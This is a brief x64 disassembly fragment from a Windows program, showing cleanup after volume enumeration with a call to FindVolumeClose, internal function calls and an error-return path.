mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov rcx, r12
xor r12d, r12d
call fcn.140013ed0
jmp 0x14000a764
mov ecx, 9
call fcn.140009260
mov eax, 0xffffffff
jmp 0x14000a675